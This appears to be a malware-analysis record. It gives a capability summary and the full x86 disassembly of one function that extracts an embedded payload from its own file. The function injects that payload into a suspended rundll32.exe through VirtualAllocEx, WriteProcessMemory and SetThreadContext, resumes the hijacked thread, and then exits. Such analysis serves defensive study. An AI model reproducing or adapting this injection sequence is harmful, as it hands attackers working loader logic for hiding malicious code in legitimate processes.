Function at 0x402ca0
Capabilities:
Allocate or change rwx memory
Create process on windows
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Read file on windows
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1615c
call fcn.0044c4f0
mov eax, dword [0x466040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0x402860
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0x104
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x21c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
mov esi, eax
push esi
call fcn.00409170
add esp, 4
mov edi, eax
lea eax, [ebp - 0x21c]
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push eax
push 0
push 0
call ebx
push 0x4622d4
lea eax, [ebp - 0x1613c]
push edi
push eax
call fcn.00412310
add esp, 0xc
test eax, eax
jne 0x402fc8
mov eax, dword [ebp - 0x1613c]
test eax, eax
je 0x402fc8
push 2
push 0
push eax
call fcn.00411c20
push dword [ebp - 0x1613c]
call fcn.0040ff00
push 0
push 0
push dword [ebp - 0x1613c]
mov esi, eax
call fcn.00411c20
push esi
call fcn.00409170
push dword [ebp - 0x1613c]
mov edi, eax
push esi
push 1
push edi
mov dword [ebp - 0x16154], edi
call fcn.00415180
push dword [ebp - 0x1613c]
call fcn.00411480
lea eax, [esi - 0xf]
mov dword [ebp - 0x14], 0x20f64d7b
add esp, 0x34
mov dword [ebp - 0x10], 0xf1255abd
xor ebx, ebx
mov dword [ebp - 0xc], 0x263edbe
mov dword [ebp - 8], 0xc52bd6f4
mov dword [ebp - 0x16158], eax
test eax, eax
jle 0x402e7a
lea eax, [edi + 0x10]
mov dword [ebp - 0x1615c], eax
add eax, ebx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x16150], eax
mov edi, 0xc
lea ecx, [eax - 0x10]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x402e66
add ecx, 4
add edx, 4
sub edi, 4
jae 0x402de3
xor edi, edi
test esi, esi
jle 0x402e58
cmp esi, 0x10
jb 0x402e33
mov ecx, dword [ebp - 0x16154]
lea eax, [esi + ebx]
add ecx, 0xf
add eax, ecx
lea ecx, [ebp - 0x15e24]
cmp ecx, eax
mov ecx, dword [ebp - 0x16150]
ja 0x402e28
lea eax, [ebp + esi - 0x15e25]
cmp eax, ecx
jae 0x402e33
push esi
push ecx
lea eax, [ebp - 0x15e24]
push eax
jmp 0x402e50
mov ecx, dword [ebp - 0x16154]
lea eax, [edi + ebx]
add ecx, 0x10
lea edx, [ebp - 0x15e24]
add ecx, eax
add edx, edi
mov eax, esi
sub eax, edi
push eax
push ecx
push edx
call fcn.0040b330
add esp, 0xc
push dword [ebp - 0x1613c]
call fcn.00411480
add esp, 4
mov eax, dword [ebp - 0x1615c]
inc ebx
dec esi
cmp ebx, dword [ebp - 0x16158]
jl 0x402dd0
push 0x40
push 0x3000
push 0x15c08
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebp - 0x15e24]
push 0x15c08
push eax
push edi
call fcn.0040b330
add esp, 0xc
mov dword [ebp - 0x15e28], 0
lea eax, [ebp - 0x1614c]
mov dword [ebp - 0x15e6c], 0x44
xorps xmm0, xmm0
movlpd qword [ebp - 0x15e68], xmm0
push eax
lea eax, [ebp - 0x15e6c]
movlpd qword [ebp - 0x15e60], xmm0
push eax
push 0
push 0
push 0x44
push 0
push 0
push 0
push str.rundll32.exe
push 0
movlpd qword [ebp - 0x15e58], xmm0
movlpd qword [ebp - 0x15e50], xmm0
movlpd qword [ebp - 0x15e48], xmm0
movlpd qword [ebp - 0x15e40], xmm0
movlpd qword [ebp - 0x15e38], xmm0
movlpd qword [ebp - 0x15e30], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402fb9
lea eax, [ebp - 0x16138]
mov dword [ebp - 0x16138], 0x10003
push eax
push dword [ebp - 0x16148]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x40
push 0x1000
push 0x15c08
push 0
push dword [ebp - 0x1614c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
lea eax, [ebp - 0x15e28]
push eax
push 0x15c08
push edi
push esi
push dword [ebp - 0x1614c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x16138]
mov dword [ebp - 0x16080], esi
push eax
push dword [ebp - 0x16148]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x16148]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x16148]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1614c]
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004090f0
mov esp, ebp
pop ebp
ret